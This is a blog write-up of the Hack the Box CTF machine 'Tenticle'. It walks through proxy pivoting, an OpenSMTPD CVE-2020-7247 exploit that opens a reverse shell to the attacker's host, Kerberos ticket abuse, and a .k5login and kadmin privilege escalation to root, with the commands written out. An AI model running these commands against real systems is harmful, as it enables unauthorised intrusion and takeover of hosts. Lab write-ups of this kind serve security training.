Hack the Box - Tenticle
Posted on June 19, 2021 • 7 minutes • 1340 words
Welcome back! Today’s write-up is for the Hack the Box machine - Tenticle. This was listed as hard Linux box. I actually had to do this machine twice since my notes and screenshots were lost midway through :(. I would argue it might be on the upper scale of ‘hard’ and pretty lifelike. Let’s jump in!
nmap. Here are our results:
Nmap scan report for 10.10.10.224 Host is up (0.050s latency). Not shown: 65530 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 3072 8d:dd:18:10:e5:7b:b0:da:a3:fa:14:37:a7:52:7a:9c (RSA) | 256 f6:a9:2e:57:f8:18:b6:f4:ee:03:41:27:1e:1f:93:99 (ECDSA) |_ 256 04:74:dd:68:79:f4:22:78:d8:ce:dd:8b:3e:8c:76:3b (ED25519) 53/tcp open domain ISC BIND 9.11.20 (RedHat Enterprise Linux 8) | dns-nsid: |_ bind.version: 9.11.20-RedHat-9.11.20-5.el8 88/tcp open kerberos-sec MIT Kerberos (server time: 2021-04-10 13:50:38Z) 3128/tcp open http-proxy Squid http proxy 4.11 |_http-server-header: squid/4.11 |_http-title: ERROR: The requested URL could not be retrieved 9090/tcp closed zeus-admin Service Info: Host: REALCORP.HTB; OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:8
A small selection of ports. We also have a leaked hostname of
realcorp.htb. We also see that port 3128 is running a web proxy. Open up the browser and we take a look at what might be there.
Just an error, but we do see a email and vhost as well -
srv01.realcorp.htb. We’ll add these to our host file and start enumerating them. There are a few ways to enumerate subdomains. Here’s a good resource
for subdomain enumeration. In this case we’ll just use a simple
dnsenum, it’s built into Kali and works just fine for the CTF usecase.
dnsenum --threads 30 --dnsserver 10.10.10.224 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt realcorp.htb
We get quite a few items listed.
So even when we add these hostnames to our system, we aren’t able to get any type of resolution. We are still met with the
Squid proxy page. So there’s a good chance we need to use the
Squid proxy that’s being shown to interact past what we are currently seeing. There are also a few ways to do this, we can install
Squid on our machine and communicate that way or we can use the built in
proxychains tool (
Proxychains is only available nativly if you leverage
apt install kali-linux-everything otherwise you’ll need to
apt install the package). Here’s quick blurb
In this case, configuring
Proxychains to leverage the
Squid web proxy is easy. We can edit the
proxychain4.conf file. This file is located in
I had some issues getting data across the proxychain, this was because I’m an idiot and had some explicit firewall settings setup prior. Don’t be me, double check your firewall rules…
proxychains nmap -sC -sV -p- -oA proxyscan 10.197.243.31
Eventually, we should get back our
nmap scan results:
Perfect, some services running that are much interesting. We can add
wpad.realcorp.htb to our hosts file. Now when we try and
wpad url, we should see somthing.
or not… In this case, we pretty much knew nothing was going to come back, since that’s not the purpose of a
wpad dns entry. This entry should host a
wpad.dat file to help us find the proper routes. You can read up more on
So now we’ll
curl for this file.
proxychains curl http://wpad.realcorp.htb/wpad.dat
Sure enough, some routes come back
This file tells us there are active services running in the 10.241.251.1(/24?) space. Let’s try and find them with
proxychains nmap -T5 -Pn 10.241.251.0/24
Eventually we find one machine that’s alive:
10.241.251.113. We use
nmap to enumerate this machine further and see that it’s running
OpenSMTPD. A quick
searchsploit shows there are a few PoC codes for this service.
After some trial and error, we see that the
OpenSMTPD 6.6.1 exploit seems to be valid.
So now we will give it the old
Bash reverse shell and have it connect back to our
Netcat listener. Turns out, this won’t work for us, the code needs to be modified a bit more. Now, I didn’t modify the code, I just searched for another and found this: https://github.com/QTranspose/CVE-2020-7247-exploit/blob/main/exploit.py
We have an email from our earlier enumeration - email@example.com . So we can run this and see what we get!
proxychains python3 exploit.py 10.241.251.113 25 10.10.14.101 7070 firstname.lastname@example.org
Awesome, now we have a foothold! Now what? We can enumerate more! We find a file called
.msmtprc. Inside we have a password, yes! We try to login with it aaannddd nope. Denied. There are some login controls in place here. If we look back at our port scan on the box, we remember seeing three ports for kerberos. Looks like we’ll need to generate a kerberos ticket to log in with. This isn’t as hard as it might sound.
First we install the kerberos user package.
sudo apt install krb5-user
Next we add our target to the config file as the primary kdc. This file is under
We need to edit a few lines, first our
default_realm, that needs to be our target domain,
REALCORP.HTB. Next we need to add a new realm of
REALCORP.HTB. Then add the
domain_realm for this domain. All in all these are what the modified lines should look like:
Now we can use the
kinit command to generate ourselves a ticket for j.nakazawa.
We don’t get a response, so we check the kerberos table with
klist and we should see a ticket!
Now we should be able to SSH into the box!
We get in and snag our
user.txt flag! Now we can start enumerating more to identify a priv esc. We download over
linpeas and some other enumeration tools and start poking around.
We find this entry that stands out a bit:
It’s in a location that can be globally accessed and we have execute rights on. As we keep sifting through the output we also see it’s called on a cron:
We can take a look at the script being called.
Interesting, we are syncing over items from
/home/admin. Awesome, normally, we could copy over an
SSH key or something but in this case, we’re just going to copy over the kerberos auth file. Here is some
reading about how a
.k5login file works. From the above:
The .k5login file, which resides in a user’s home directory, contains a list of the Kerberos principals. Anyone with valid tickets for a principal in the file is allowed host access with the UID of the user in whose home directory the file resides. One common use is to place a .k5login file in root’s home directory, thereby granting system administrators remote root access to the host via Kerberos.
So let’s just put our
j.nakazawa account, into a
.k5login file and put it into the directory to be copied via the running cron.
echo 'j.nakazawa@REALCORP.HTB >> .k5login'
cp .k5login /var/log/squid
After we do that, we should be able to
SSH into the machine as admin.
Awesome, we’re up one more user, let’s re-run our enumeration. An interesting set of lines shows up:
We see a file
/etc/krb5.keytab being read bia an impersonation command. Some qiuck googling gives us this
. Fully compromise a system eh? Let’s try and get to that! Dig up the manual
kadmin and try to add our user to the
kadmin -k -t /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB
If this works, we are prompted with the
Now we need to add our user ticket to the root account.
kadmin: add_principal root@REALCORP.HTB
We make a password for the account and
exit from the interface. Now we can try to use the <code>ksu</code> function
to escalate to root with the new credentials we just installed.
There we have it! The
root.txt flag! This was a very fun and realistic machine. This is along the same lines of machines you can find as a Red Team Operator, I know I’ve seen my fair share of improper Kerberos implimentations in Linux.
If this write-up was helpful, send some respect my way: https://app.hackthebox.eu/profile/95635